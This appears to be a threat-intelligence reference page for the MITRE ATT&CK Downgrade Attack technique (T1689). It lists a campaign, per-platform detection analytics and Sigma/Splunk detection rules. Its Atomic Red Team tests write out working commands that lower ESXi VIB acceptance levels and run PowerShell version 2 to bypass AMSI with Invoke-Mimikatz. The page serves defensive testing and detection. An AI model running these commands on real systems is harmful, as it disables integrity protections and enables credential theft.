T1689 · Downgrade Attack · MITRE ATT&CK

Downgrade Attack MITRE reference T1689

72nd pctamong all ATT&CK techniques for number of campaigns

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

FrostyGoop IncidentC0041 ↗

During FrostyGoop Incident, the adversary downgraded firmware on victim devices in order to impair visibility into the process environment.1

2024

All 1 campaigns for this technique

Offense vs defense T1689

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Range

Technique Campaign use over its cumulative rule count.

Campaigns · 1Sigma rules (cumulative) · 1Splunk ESCU (cumulative) · 4

Downgrade Attack detection strategy DET0350

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting Downgrade Attacks

Enterprise

3 platforms

AN0995 · Windows

Detection of processes launching downgraded PowerShell versions (e.g., v2) or other legacy binaries that lack logging or security features. Correlates command-line arguments, process metadata, and version fields. Monitors registry changes to Defender or HVCI keys that could indicate intentional downgrades.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Windows Registry Key ModificationDC0063	WinEventLog:Security	EventCode=4657

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedInterpreterVersions	Defines which versions of interpreters like PowerShell are permitted in the environment.
RegistryDefenderKeys	Specific registry paths for monitoring Defender/HVCI configurations that may vary by Windows version.

AN0996 · Linux

Monitors execution of older or legacy interpreters (e.g., python2, bash with restricted history logging), downgrade of TLS/SSL configurations, or forced fallback to unencrypted protocols. Detects suspicious reconfiguration of kernel modules or boot loaders to reduce integrity controls.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process MetadataDC0034	linux:syslog	Kernel or daemon warnings of downgraded TLS or cryptographic settings
Command ExecutionDC0064	auditd:SYSCALL	execve: Execution of downgraded interpreters such as python2 or forced fallback commands

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedCryptoProtocols	List of TLS/SSL versions approved for use; alerts triggered if older protocols (e.g., TLS 1.0) are used.

AN0997 · macOS

Detection of execution of legacy scripting runtimes (e.g., older versions of Python, Bash, or PowerShell Core) lacking auditing. Monitoring for changes to EFI or system boot files indicative of downgrade-based persistence or bypass of integrity features.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	Execution of older or non-standard interpreters
Process MetadataDC0034	macos:unifiedlog	Modifications or writes to EFI system partition for downgraded bootloaders

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ApprovedInterpreterVersions	Defines the minimal version of interpreters expected; older versions flagged as downgrade attempts.

Tests3Executorspowershell 2 · command_prompt 1Need elevation1 of 3Have prerequisites3Have cleanup0Platformslinux, windows

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI linux powershell Required 1 —

An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host. Reference

Inputs

Name	Description	Type	Default Value
vm_host	Specify the host name of the ESXi Server	string	atomic.local
vm_pass	Specify the privilege user password on ESXi Server	string	pass
vm_user	Specify the privilege user account on ESXi Server	string	root

Attack Commandsrun with powershellelevation required (root or admin)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = "CommunitySupported"})
Disconnect-VIServer -Confirm:$false

Dependenciesrun with powershell

Description

Check if VMWARE PowerCLI PowerShell Module is installed.

Check Prereq Commands

$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
if (-not $RequiredModule) {exit 1}

Get Prereq Commands

Install-Module -Name VMware.PowerCLI -Confirm:$false

GUID062f92c9-28b1-4391-a5f8-9d8ca6852091

02 ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI windows command_prompt — 1 —

An adversary will change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria via ESXCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host. Reference

Inputs

Name	Description	Type	Default Value
vm_host	Specify the host name of the ESXi Server	string	atomic.local
vm_pass	Specify the privilege user password on ESXi Server	string	pass
vm_user	Specify the privilege user account on ESXi Server	string	root
cli_script	Path to script with commands to change acceptance level	path	PathToAtomicsFolder\T1698\src\esx_community_supported.txt
plink_file	Path to plink	path	PathToAtomicsFolder\..\ExternalPayloads\plink.exe

Attack Commandsrun with command_prompt

echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"

Dependenciesrun with powershell

Description

Check if plink is available.

Check Prereq Commands

if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"

GUID14d55b96-b2f5-428d-8fed-49dc4d9dd616

03 PowerShell Version 2 Downgrade windows powershell — 1 —

Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.

Inputs

Name	Description	Type	Default Value
v2_command	Specify the command to execute with Version 2	string	Invoke-Mimikatz

Attack Commandsrun with powershell

PowerShell -version 2 -command '#{v2_command}'

Dependencies

Description

Check if Version 2 is installed.

Check Prereq Commands

$v2_installed = PowerShell -version 2 -command '$PSVersionTable.PSVersion.Major'
if (-not $v2_installed) {exit 1} else {exit 0}

Get Prereq Commands

echo "Manually install PowerShell Version 2"

GUID47c96489-2f55-4774-a6df-39faff428f6f

Tests from Atomic Red Team (MIT licence) · technique definition

Downgrade Attack detections T1689

5 rules are mapped to this technique.

64th pctamong all ATT&CK techniques for number of rules

Showing 1-5 of 5 rules

Drag headers to reorder | Drag edges to resize

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID
	Detects modification of LSA PPL protection settings via CommandLine. (...)	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Defense Impairment Downgrade Attack	-	medium	Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel (Nextron Systems)	2022-03-22	2026-03-13	8c0eca51-0f88-4db2-9183-fdfb10c703f9
Splunk	The following analytic identifies suspicious PowerShell execution using Script Block Logging (EventCode 4104). (...)	Hunting	stable	ps_script	windows	PowerShell	Execution Command and Scripting Interpreter PowerShell Defense Impairment Downgrade Attack Credential Access OS Credential Dumping	-	medium	Michael Haag, Splunk	2021-08-19	2026-09-03	d6f2b006-0041-11ec-8885-acde48001122
Splunk	The following analytic detects a user account (non-machine account) adding or removing a servicePrincipalName (SPN) on a computer object in Active Directory, via Windows Security Event 5136. (...)	Anomaly	stable	account_management	windows	WinEventLog Security	Defense Impairment Downgrade Attack Credential Access Steal or Forge Kerberos Tickets Kerberoasting	CVE-2026-25177	medium	Raven Tait, Splunk	2026-09-25	2026-09-25	dbe30a35-b56d-4a7a-82c4-2433da06b342
Splunk	The following analytic detects the addition or modification of a servicePrincipalName (SPN) containing invisible Unicode characters to an Active Directory computer object via Windows Security Event 5136. (...)	Generic	stable	account_management	windows	WinEventLog Security	Defense Impairment Downgrade Attack	CVE-2026-25177	medium	Raven Tait, Splunk	2026-09-25	2026-09-25	d2d2c043-57a6-4aca-be43-ebb402dbb9e5
Splunk	Detects the setting of a pending.xml file associated with the Windows Downdate attack which forces a Windows downgrade to enable exploitation. (...)	Anomaly	stable	registry_event	windows	Sysmon	Defense Impairment Downgrade Attack Persistence, Defense Impairment Modify Registry	-	medium	Raven Tait, Splunk	2022-09-08	2026-05-13	d984fca1-ba3a-4f89-aa58-800e235fdf53

Downgrade Attack T1689

Downgrade Attack T1689

Downgrade Attack MITRE reference T1689

Offense vs defense T1689

Downgrade Attack detection strategy DET0350

Detecting Downgrade Attacks

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Downgrade Attack MITRE reference T1689

Offense vs defense T1689

Downgrade Attack detection strategy DET0350

Detecting Downgrade Attacks

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Downgrade Attack detections T1689

Downgrade Attack detections T1689